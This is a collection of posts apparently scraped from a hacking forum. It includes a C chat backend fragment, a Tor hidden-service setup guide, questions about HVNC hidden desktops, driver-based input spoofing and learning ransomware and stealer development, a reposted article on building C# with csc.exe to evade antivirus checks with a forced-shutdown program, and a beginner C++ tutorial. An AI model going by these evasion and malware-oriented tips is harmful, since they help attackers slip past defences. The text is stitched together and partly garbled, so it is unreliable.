int buffer_size = 1024, offset = 0;
if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return NULL;
}
const char *sql = "SELECT sender, message, user_id FROM chats;";
if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
fprintf(stderr, "Failed to fetch data: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return NULL;
}
offset += snprintf(json_data + offset, buffer_size - offset, "[");
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char *sender = (const char*)sqlite3_column_text(stmt, 0);
const char *message = (const char*)sqlite3_column_text(stmt, 1);
const char *user_id = (const char*)sqlite3_column_text(stmt, 2);
if (offset + 256 > buffer_size) {
buffer_size *= 2;
json_data = realloc(json_data, buffer_size);
}
offset += snprintf(json_data + offset, buffer_size - offset,
"{\"sender\":\"%s\",\"message\":\"%s\",\"user_id\":\"%s\"},",
sender, message, user_id);
}
if (offset > 1 && json_data[offset - 1] == ',') {
offset--;
}
snprintf(json_data + offset, buffer_size - offset, "]");
sqlite3_finalize(stmt);
sqlite3_close(db);
return json_data;
}
void save_message(const char *sender, const char *message, const char *user_id) {
sqlite3 *db;
sqlite3_stmt *stmt;
if (sqlite3_open(DB_PATH, &db) != SQLITE_OK) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return;
}
const char *sql = "INSERT INTO chats (sender, message, user_id) VALUES (?, ?, ?)";
if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
fprintf(stderr, "Failed to prepare statement: %s\n", sqlite3_errmsg(db));
sqlite3_close(db);
return;
}
sqlite3_bind_text(stmt, 1, sender, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 2, message, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 3, user_id, -1, SQLITE_STATIC);
if (sqlite3_step(stmt) != SQLITE_DONE) {
fprintf(stderr, "Failed to insert data: %s\n", sqlite3_errmsg(db));
}
sqlite3_finalize(stmt);
sqlite3_close(db);
}
**Деплой**
Tor (The Onion Router) — это сеть, в которой данные передаются через несколько
промежуточных узлов (серверов), каждый из которых «оборачивает» их
дополнительным уровнем шифрования, наподобие луковой кожуры (отсюда и название
"Onion" — "лук"). Подробнее о работе можно узнать в официальной документации.
Onion-домены (.onion) — это сайты, работающие только внутри сети Tor.
Tor-браузер — это браузер со встроенными механизмами, которые направляют
трафик через Tor-сеть.
Как же сделать деплой в сеть Tor? Проще простого. Если сайт состоит только из
статических страниц, есть способ деплоя через Onionshare — всё максимально
просто, и, если у вас есть графический интерфейс, можно просто drag and drop
контент. Впрочем, этот проект предназначен скорее для временной передачи
файлов.
Для полноценного деплоя установите Tor: sudo apt install tor. Затем откройте
файл /etc/tor/torrc и раскомментируйте строки:
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
То, что указано после двоеточия, — это порт, на котором запущен сервер. Если
это порт 8082, его нужно сменить на 8082! Также обратите внимание: там есть
две закомментированные строки HiddenServiceDir. Вы можете задеплоить на
сервере количество сайтов, равное количеству свободных портов (то есть чуть
больше 65 тысяч).
Далее перезапустите службу: sudo systemctl restart tor. В зависимости от
конфигурации системы переключитесь на root и перейдите в директорию (либо
туда, где вы сохранили файл, главное — найти hostname) —
/var/lib/tor/hidden_service/hostname.
Здесь будет отображён ваш .onion-адрес.
Несколько моментов, насколько я понимаю сеть Tor (если вы решите деплоить что-
то самостоятельно, перепроверьте всё это):
1. В сети Tor не требуется TLS (HTTPS) для защиты передачи данных, поскольку Tor уже предоставляет сквозное шифрование. Трафик зашифрован от пользователя до сервера и остаётся в пределах сети Tor. Если вы решили запустить доступ к серверу как из интернета, так и через Tor, во-первых, это не рекомендуется документацией, во-вторых, вам может понадобиться TLS.
2. Onion-адрес сети Tor — это производный идентификатор, основанный на публичном ключе, как в криптовалютах и других областях. Когда вы настраиваете Tor Hidden Service, создаётся пара ключей — **закрытый и публичный ключи**. Эти ключи используются для шифрования и дешифрования данных, передаваемых между клиентом и вашим скрытым сервисом. .onion-адрес формируется на основе хеширования публичного ключа. Этот хеш обрезается и преобразуется в строку, которая и становится вашим .onion-адресом. Таким образом, .onion-адрес связан с вашим публичным ключом, и, зная адрес, Tor-клиенты могут проверить подлинность сервиса при подключении. Файл secret_key — это приватный ключ. Если вы хотите сохранить свой .onion-адрес после переноса или переустановки сервера, сделайте резервную копию файла приватного ключа. Это похоже на восстановление доступа к криптокошельку по приватному ключу.
3. Необходимо предотвратить раскрытие реального IP-адреса, иначе вся защита теряет смысл. Также важно скрыть использование Tor-сервиса от провайдера. Скрывайте все баннеры, которые могут раскрыть информацию о технологиях (в случае самописного сервера это полностью в наших руках). Рекомендуется использовать UNIX-сокеты вместо TCP-сокетов, блокировать весь DNS-трафик, применять нестандартные порты для Tor. Для скрытия от VPS можно использовать VPN перед Tor (впрочем, об этом нужно ещё хорошо подумать)
Трям! Пока!
Hello Brains.
In the old days, I remember TinyNuke and it's HVNC.
I have a question about it's ability to have a Hidden Desktop,
I would like to be able to spawn such Hidden Desktops and for each to have
their own Context, for example if I open chrome in the Hidden Desktop, it
opened only for me (in the hidden desktop) not for the real user.
Question is, Is it possible to do the same programmatically, without having to
instantiate an HVNC connection and opening the Chrome by hand? How is the
"context" for software sealed off from the original "user context".
In my case, I need to open chrome in a specific way which requires no chromes being open on the machine (or same context, depending how it's sealed off.) Is this possible to be done automatically without actually connecting to the hrdp and opening chrome manually in the sealed off 'hidden' context?
People with knowledge on this topic, I'm looking to pay for a custom solution.
Изучаю вот эту статью https://xss.is/threads/104114/ не получается разобраться в коде с ++ я понимаю там шаблон кода только подставлять свои значения, ноо я не понимаю как оно там функциклирует и работает весь тот код так еще нет опыта в написании и работе с кодом c++ нужна помощь опытного кодера по с++
I have a doubt, especially in computer science, there is a lot of mathematics, (lumma) used trigonometry, but do you think mathematics is a great source for programming?
Здравствуйте, хотел бы получить мнение опытных людей касательно того, как я могу реализовать движение мыши, если у меня есть доступ к чтению и записи физической памяти. Я использую уязвимый драйвер, и с его помощью могу читать и записывать память, но я не могу редактировать код драйвера, так как он не мой. Единственный способ реализации движения мыши, о котором я подумал, это нахождение девайса мыши в физической памяти и отправление команды напрямую ему. Если вы знаете какой-то другой метод, буду рад его услышать.
Нужна помощь в реализации движения мыши я попробовал уже очень много способов и их всех блокируют(ntusersendinput и другие более низкоуровневые функции которые вызываются в usermode).
Как найти девайс мыши в физ памяти ? -_-
Заранее спасибо всем, кто поможет.
Пишу на С, С++
how to study malware development, such as ransomware, stealer, among others, I saw some, but they all have great coding that goes beyond just knowing programming, they find it useful to learn full stack, or as a saying I read one day, to create malware you Do you have to know how to hack it first and implement it later in programming?
Приветствую всех! Я хотел бы узнать, из-за чего происходит отличие в значениях. При получение NumberOfFunctions при помощи этого кода
C++:Copy to clipboard
std::ifstream inputFile("C:\\Windows\\System32\\kernel32.dll", std::ios_base::binary);
inputFile.seekg(0, std::ios_base::end);
auto length = inputFile.tellg();
inputFile.seekg(0, std::ios_base::beg);
std::vector<BYTE> buffer(length);
inputFile.read(reinterpret_cast<char*>(buffer.data()), length);
std::cout << std::hex << buffer.data() << std::endl;
PBYTE pBaseAddrDll = buffer.data();
IMAGE_DOS_HEADER pBaseDosHdrDll = *reinterpret_cast<PIMAGE_DOS_HEADER>(pBaseAddrDll);
if (pBaseDosHdrDll.e_magic != IMAGE_DOS_SIGNATURE)
{
std::cout << "Incorrect DLL loaded" << std::endl;
return -1;
}
PIMAGE_NT_HEADERS ntHeaderDll = reinterpret_cast<PIMAGE_NT_HEADERS>
( reinterpret_cast<PBYTE>(pBaseAddrDll) + pBaseDosHdrDll.e_lfanew) ;
if (ntHeaderDll->Signature != IMAGE_NT_SIGNATURE)
{
std::cout << "Incorrect DLL loaded" << std::endl;
return -1;
}
IMAGE_DATA_DIRECTORY exportDirectoryTable =
ntHeaderDll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY exportDirectory =
reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(
reinterpret_cast<PBYTE>(pBaseAddrDll) + exportDirectoryTable.VirtualAddress
);
std::cout << "number of functions " << exportDirectory->NumberOfFunctions << std::endl;
std::cout << "base " << exportDirectory->Base << std::endl;
std::cout << "Name: " << reinterpret_cast<char*>(reinterpret_cast<PBYTE>(pBaseAddrDll) + exportDirectory->Name) << std::endl;
Я получаю вот такой результат:
Code:Copy to clipboard
number of functions: 687
number of names: 687
Base: 1
Name: KERNEL32.dll
PE-Bear отображает мне совершенно другой результат
Из-за чего такое может происходить ? Буду рад любой помощи.Заранее спасибо
Всем привет,я как новичок в ИБ сфере хочу спросить,нужен ли C++ в этой сфере и в каких направлениях с ним можно двигаться?Я слышал про Malware, но говорят, что это не особо благодарная работа их делать.Используется ли с++ в веб?Насколько востребован С++ на рынке труда, учитывая, что есть python,js
tМне интересно, как создать его на Java для Android.
Привет всем, многоуважаемые форумчани. Хочу изучить C#, для будущей криптологии и хочу углубляться в другие сферы, как ревёрс и прочее. Посоветуйте какой материал нужен для изучение C#?
Доброго дня. Столкнулся с проблемой, msvc компилирует код, используя выравнивание с помощью байтов 0xCC. Попробовал компилить с различными оптимизациями размера кода, выключенным cfg - не помогло, стабильно вижу послелог из 0xCC. Подскажите, что такой поведение вызывает? Кстати, при компиляции с clang-cl таких приколов нету.
Какие существуют деобфускаторы для последних версий .NET Reactor? Мне нужно нормально расшифровать код, чтобы он стал более читабельным и понятным, чтобы понять как он работает. Буду рад любым ответам по этому поводу.
Статья целиком взята с ХАБРа - https://habr.com/ru/articles/837570/ - автор alex0x08
Есть компьютер с чистой копией Windows, без доступа в интернет и без каких‑либо установленных средств разработки. Только одна чистая пользовательская «венда». Не поверите, но даже в таких спартанских условиях возможно написать и запустить полноценную программу. И сейчас я расскажу как.
Ради этого скриншота я честно развернул пользовательскую версию Windows 11 в виртуальной машине. Чего не сделаешь ради искусства! (цитата автора)
Click to expand...
На самом деле в ОС семейства Windows с самого их начала было внутри столько всякого интересного, что никакой статьи не хватит описать, ~~так что выпусков будет много~~
Но почему-то мало кто об этом знает даже из разработчиков, особенно современных.
Спросите ради интереса знакомых разработчиков, возможно ли программировать на «чистой» пользовательской Windows без установки Visual Studio — удивитесь ответам.
Click to expand...
Ну и разумеется насаждаемый «пользовательский» подход самой Microsoft, которая ковыряние во внутренностях своих продуктов мягко говоря никогда не поощряла, создал эдакий ареол простоты и надежности, без необходимости разбираться как оно внутри устроено.
Поэтому описанное ниже наверное вызовет определенный ужас как у обычных пользователей так и некоторых разработчиков — особенно если они ~~обучались по видеокурсам~~ ничего не знают об истории ОС Windows.
Начну с цитаты из одной [интересной статьи](https://learn.microsoft.com/en- us/archive/blogs/astebner/mailbag-what-version-of-the-net-framework-is- included-in-what-version-of-the-os):
Over the past few months, I've received several variations on this question for other operating systems and all of the released versions of the .NET Framework. When the .NET Framework is installed as a part of the OS, it does not appear in the Programs and Features (or Add/Remove Programs) control panel. The following is a complete list of which version of the .NET Framework is included in which version of the OS
Click to expand...
И ниже длинный такой список с версиями. А вот [еще один](https://learn.microsoft.com/en-us/dotnet/framework/migration- guide/versions-and-dependencies) если вдруг первого оказалось недостаточно.
Ну казалось бы и.. что? Чего тут такого?
Про .NET SDK все и так знают, временами его необходимо установить «для запуска игор», временами он сам ставится в виде зависимой библиотеки и никому не мешает.
Все так, да.
Только что-то мне подсказывает внутрь вы не заглядывали, правда? Поэтому на что эта штука на самом деле способна не представляете.Click to expand...
А я представляю и сейчас расскажу.
Заходите в папку Windows на вашем компьютере, вот сюда:
Этот снимок из Windows 10, в нем используется системная .NET SDK 3.5, в Windows 11 будет уже 4.0
Click to expand...
Файлт csc.exe — самый настоящий компилятор , фактически портал в ад на вашем обычном домашнем компьютере.
Почему все так страшно?
Click to expand...
Потому что через какое-то время вы обнаружите себя сильно заросшим, с бородой и красными глазами, проводящим ночи за компьютером и медленно мутирующим в программиста.
Шучу.
А если серьезно:
появляется возможность создания нативных программ сразу на вашем компьютере, минуя стадию проверки электронной подписи, проверки антивирусом, проверки электронного письма и так далее.
Click to expand...
В отличие от VB или PowerShell-скриптов, которые анализируются перед запуском любым приличным антивирусом, антивирусы не анализируют исходный код программ на C# и куда лояльнее относятся к программам собранным локально на этой же машине.
Так что веселье начинается.
Для начала будет простой пример, который просто показывает стандартный диалог с сообщением. Именно его в запущенном виде вы можете видеть на заглавной картинке в статье.
Весь процесс от кода до запуска я записал на видео:
Исходный код тут казалось бы максимально простой, но с одним интересным нюансом про который ниже:
C#:Copy to clipboard
using System;
using System.Runtime.InteropServices;
namespace yoba
{
class Program
{
// импортирование нативной WinAPI функции MessageBox.
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
static void Main(string[] args)
{
//вызываем и показываем диалог
MessageBox(IntPtr.Zero, "Йоу!", "Добро пожаловать в разработку!", 0);
}
}
}
Сохраняете этот текст обычным «блокнотом» в файл yoba.cs и запускаете сборку:
c:\Windows\Microsoft.NET\Framework\v3.5\csc.exe yoba.cs
После сборки рядом с исходным файлом yoba.cs появится и запускабельный бинарник yoba.exe , который вы сможете запустить.
А теперь про нюанс.
Существует определенное предубеждение по отношению к managed‑языкам вроде Java и С# — они не подходят для серьезных дел вроде написания эксплоитов, использования [0day‑уязвимостей](https://en.wikipedia.org/wiki/Zero- day_(computing)) и пенетрации ядра.
Что все подобные вещи творят ~~в глубокой тайне~~ на чистом Си, в крайнем случае на C++ а все эти ваши Java/C# не более чем «погремушки для детей», не достойные даже косого взгляда серьезного профессионала.
Click to expand...
Вот тут и начинается нюанс , посмотрите на эту радость:
C#:Copy to clipboard
[DllImport("user32.dll")]
public static extern int MessageBox(IntPtr hWnd,
string lpText, string lpCaption, uint uType);
Это мои дорогие читатели, ни что иное как вызов нативного WinAPI , с помощью которого творили всякое нехорошее в далекие 90е.
C# и .NET имеет оооочень глубокую интеграцию с Windows, несмотря на всю свою «безопасность» и управляемость, поэтому легко и просто может заменить собой и Си и С++ в качестве инструмента для нехороших дел.
И оно живет на вашем компьютере, дома и в офисе, с постоянной пропиской и регистрацией.
Click to expand...
Но разумеется столь простого примера несколько мало для осознания глубины проблемы, поэтому я подготовил кое-что более серьезное.
Итак, это будет относительно небольшое приложение на C#, выключающее компьютер без предупреждения и подтверждения пользователя. И само собой без прав администратора.
Просто так, внезапно.
Click to expand...
Последствия думаю каждый из читателей сможет оценить для себя сам.
Весь процесс на видео (разумеется это виртуальная машина):
А теперь код:
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security;
using System.Diagnostics;
using System.Management;
using System.Security.Permissions;
using System.Runtime.InteropServices;
namespace yoba
{
// See http://www.developmentnow.com/g/33_2004_12_0_0_33290/Access-Denied-on-ManagementEventWatcher-Start.htm
// Calling this code on backup/restore seems to enable BCD
public class TokenHelper
{
// PInvoke stuff required to set/enable security privileges
[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);
[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
internal int LowPart;
internal int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
struct LUID_AND_ATTRIBUTES
{
LUID Luid;
int Attributes;
}
[StructLayout(LayoutKind.Sequential)]
struct _PRIVILEGE_SET
{
int PrivilegeCount;
int Control;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=1)] // ANYSIZE_ARRAY = 1
LUID_AND_ATTRIBUTES [] Privileges;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
internal int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=3)]
internal int[] Privileges;
}
const int SE_PRIVILEGE_ENABLED = 0x00000002;
const int TOKEN_ADJUST_PRIVILEGES = 0X00000020;
const int TOKEN_QUERY = 0X00000008;
const int TOKEN_ALL_ACCESS = 0X001f01ff;
const int PROCESS_QUERY_INFORMATION = 0X00000400;
public static bool SetPrivilege (string lpszPrivilege, bool
bEnablePrivilege )
{
bool retval = false;
int ltkpOld = 0;
IntPtr hToken = IntPtr.Zero;
TOKEN_PRIVILEGES tkp = new TOKEN_PRIVILEGES();
tkp.Privileges = new int[3];
TOKEN_PRIVILEGES tkpOld = new TOKEN_PRIVILEGES();
tkpOld.Privileges = new int[3];
LUID tLUID = new LUID();
tkp.PrivilegeCount = 1;
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
Process proc = Process.GetCurrentProcess();
if(proc.Handle != IntPtr.Zero)
{
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}
}
}
if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}
return retval;
}
}
class ShutDown
{
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int flg, int rea);
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
static void Main(string[] args)
{
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
ExitWindowsEx(EWX_FORCE | EWX_POWEROFF, 0);
}
}
}
Обращаю внимание что это не эксплоит, не дыра, не баг и не уявимость а вполне себе стандартный функционал. Просто так получилось что о нем мало кто знает.
Собирается по аналогии с предыдущим примером:
c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Shutdown.cs
После запуска компьютер практически немедленно выключится:
проверено и в виртуальной машине и на железе, на 10й и 11й Windows.
Click to expand...
Рассказываю как это работает.
Ключевая функция — [ExitWindowsEx](https://learn.microsoft.com/en- us/windows/win32/api/winuser/nf-winuser-exitwindowsex), которая и отвечает за завершение работы ОС. Эта функция очень старая и известная, существует еще со времен Windows 95.
Но для ее вызова нужны «привилегии», которые и выставляет программно класс TokenHelper.
Константы ниже:
C#:Copy to clipboard
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
используются вместе с "[побитовым или](https://learn.microsoft.com/en- us/dotnet/csharp/language-reference/operators/bitwise-and-shift- operators#logical-or-operator-)" для указания на требуемое действие.
Вот еще допустимые варианты:
C#:Copy to clipboard
internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCEIFHUNG = 0x00000010;
Описание их всех находится [все там же](https://learn.microsoft.com/en- us/windows/win32/api/winuser/nf-winuser-exitwindowsex) — в официальном руководстве, не поверите.
Теперь давайте разбираться как же работает столь жесткое забивание на систему защиты еще и стандартными средствами:,
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
И начнем мы с импортов.
Первое что импортируется это функция [OpenProcessToken](https://learn.microsoft.com/en- us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken):
C#:Copy to clipboard
[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);
Функция отвечает за получение данных о наборе «привилегий», связанных с конкретным процессом. Собственно набор таких привилегий и называется «токеном».
Вот как эта функция вызывается:,
C#:Copy to clipboard
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
..
Тут надо отметить передачу по ссылке в стиле Си (ref hToken), когда в функцию передается ссылка на объект C#, дальше функция этот объект заполняет данными. А возвращает она просто true или false — статус выполнения, отработала функция или нет.
Дальше импортируется простая и банальная [функция](https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf- handleapi-closehandle) освобождения ресурсов:
C#:Copy to clipboard
[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);
Вызывается она в самом конце, после всей логики и нужна только для освобождения использованной памяти под токен привилегий:
C#:Copy to clipboard
if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}
Наконец [главная функция](https://learn.microsoft.com/en- us/windows/win32/api/securitybaseapi/nf-securitybaseapi- adjusttokenprivileges), непосредственно отвечающая за переключение привилегий:
C#:Copy to clipboard
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);
Вот весь ключевой блок логики смены привилегий:
C#:Copy to clipboard
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}
Как видите вызов достаточно сложный, используется Сишный процедурный подход к заполнению полей структуры и передачи его по ссылке в вызываемую функцию.
После вызова проверяется наличие ошибки, также в стиле Си:
C#:Copy to clipboard
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
0 это код возрата для успешного вызова, если он есть — считается что операция смены привилегий была выполнена успешно.
Наконец последняя [функция](https://learn.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea), про которую стоит рассказать:
C#:Copy to clipboard
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);
Она отвечает за поиск привилегии по имени, полагаю ведь заметили что мы передаем некое кодовое наименование при вызове TokenHelper :
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
Именно эта функция отвечает за поиск конкретной привилегии по названию « SeShutdownPrivilege », вот так выглядит ее вызов:
C#:Copy to clipboard
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
..
Переменная bEnablePrivilege булевая, это и есть то самое true передаваемое в качестве второго аргумента, а блок:
C#:Copy to clipboard
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
Все описанное не призыв к немедленным действиям, а лишь повод к размышлению ~~о смысле бытия~~. Ну там насчет надежности, безопасности и всего такого — что вам продает большая иностранная корпорация.
Задумайтесь, если увидите любимую венду на атомной станции или военном объекте — без всяких ЦРУ и хакеров в ОС Windows адова гора функционала, который легко и просто можно использовать во вред.
Click to expand...
Копипаста для любимого XSS от Panchitos
Дополнительная ссылка на источник и на автора -
](https://habr.com/ru/articles/837570/)
ÐÑÑÑ ÐºÐ¾Ð¼Ð¿ÑÑÑÐµÑ Ñ ÑиÑÑой копией Windows, без доÑÑÑпа в инÑеÑÐ½ÐµÑ Ð¸ без какиÑâлибо ÑÑÑановленнÑÑ ÑÑедÑÑв ÑазÑабоÑки. ТолÑко одна ÑиÑÑÐ°Ñ Ð¿Ð¾Ð»ÑзоваÑелÑÑÐºÐ°Ñ Â«Ð²ÐµÐ½Ð´Ð°Â». Ðе повеÑиÑе,...
![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com
компÑÑÑеÑÐ°Ñ ](https://habr.com/ru/users/alex0x08/)
Alex Chernyshev aka alex0x08. ÐпÑбликовал 9 ÑÑаÑей на Ð¥Ð°Ð±Ñ Ð¸ оÑÑавил 60 комменÑаÑиев.
![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com
Авторnetwork work
Источник https://xss.is
Всем доброго вечера друзья , я решил создать статью где объясню что такое с++ , для чего он предназначен и т.п. Всего думаю будет 5 статей , но на данный момент 1/5 будем самой легкий . А так же я покажу пару простых скриптов с объяснением кода. Присаживайтесь поудобнее а мы начинаем , хорошего чтения !!!!
Статья будет делиться на 3 этапов
1.Введение - что такое с++ , кто создал этот язык , для чего предназначен и не
только
2. Практика - примеры простых скриптов + объяснения кода
3. Заключение
Введение в с++
С++ - это мощный язык программирование который славиться своей гибкостью (на этом языке можно написать буквально все ) и эффективностью ,что сделало его популярным среди программистов .А так же на этом языке были написаны такие программы как WinRAR,Blender,Firefox,Coogle Chrome и т.п .Создатель данного языка является не мало известный Бьерн Страуструпомв .Данный язык был создан как расширение языка С с добавлением многих возможностей .Про этот язык можно писать буквально вечно , более подробно можете узнать в интернете
Подходящий компиляторы для с++ , я подобрал пару компиляторов для удобного
кодинга
1.GNU Compiler Collection - это свободный компилятор .Он поддерживает не
только с++ а так же еще множество языков программирования .
Плюсы данного компилятора - Высокая оптимизация кода , Открытый исходный код , Обширная поддержка языков .
Минусы компилятора - Иногда может потребовать время для компиляции большой программы
MSVC (Microsoft Visual c++) - Данный компилятор был создан компанией Microsoft
,компилятор удобный и практичный
Плюсы - поддерживает последние стандарты с++ , проста в использовании , да и
сам по себе компилятор приятный
Минусы - Если писать большие проекты то может долго компилировать
Эти компиляторы я сам использовал и могу сказать с уверенностью что они удобны
в работе и особо проблем у меня с этими компиляторами не возникало
Практика
Давайте разберем пару простых скриптов на этом языке .Первый скрипт у нас будет отвечать за прогноз погоды , то есть он будет спрашивать у юзера какое у него время года и при помощи рандомизации давать ответ
C++:Copy to clipboard
#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
int generate_temperature(const string& season) {
int temperature;
if (season == "лето") {
temperature = rand() % 35;
} else if (season == "зима") {
temperature = -1 * (rand() % 25);
} else if (season == "весна" || season == "осень") {
temperature = -15 + (rand() % 35);
} else {
throw invalid_argument("Неизвестный сезон года :( Попробуйте еще разок ");
}
return temperature;
}
int main() {
srand(static_cast<unsigned int>(time(0)));
string season;
cout << "Какое сейчас время года ? ";
cin >> season;
try {
int temperature = generate_temperature(season);
cout << "Я думаю на улице у вас " << season << ". А температору +- : " << temperature << "°C." << endl;
} catch (const invalid_argument& e) {
cerr << e.what() << endl;
}
return 0;
}
Давайте разберем скрипт
C++:Copy to clipboard
#include <iostream>
- это первая строчка кода отвечает за ввод и вывод .Если простыми словами то эта библиотека дает возможность работать с потоками ввода и вывода cin и cout. Которые предназначены для чтения данных и вывода на экран
C++:Copy to clipboard
#include <cstdlib>
- В данном случаи я подключил эту библиотеку для работы с функцией генерации случайных чисел .А так если говорить о библиотеке в общих чертах то она содержит функции для работы с памятью и управления программой
C++:Copy to clipboard
#include <ctime>
- В данном скрипте это библиотека представляет функции для получения текущего времени , которая нужна для генератора случайных чисел
C++:Copy to clipboard
using namespace std;
- это строчка облегчает работу написание той же программы . если не прописать данную строчку то нам придётся буквально везде прописывать std:: перед какой то функцией . Можно писать "cout" вместо "std::cout" и т.п
C++:Copy to clipboard
int generate_temperature(const string& season) {
- данная строчка объявляет функцию "generate_temperature" которая будет возвращать целое число а так же принимать один аргумент "const string& season" (const[/CODE] - означает что функция не изменит переданную строку можно сказать , а string& дает возможность избежать копирования строки и делает все передачу более эффективной ).Если простыми словами то это строчка говорит о том что функция generate_temperature будем принимать строку сезона (лето , зима , осень , лето ) и будет возвращать число
C++:Copy to clipboard
int temperature;
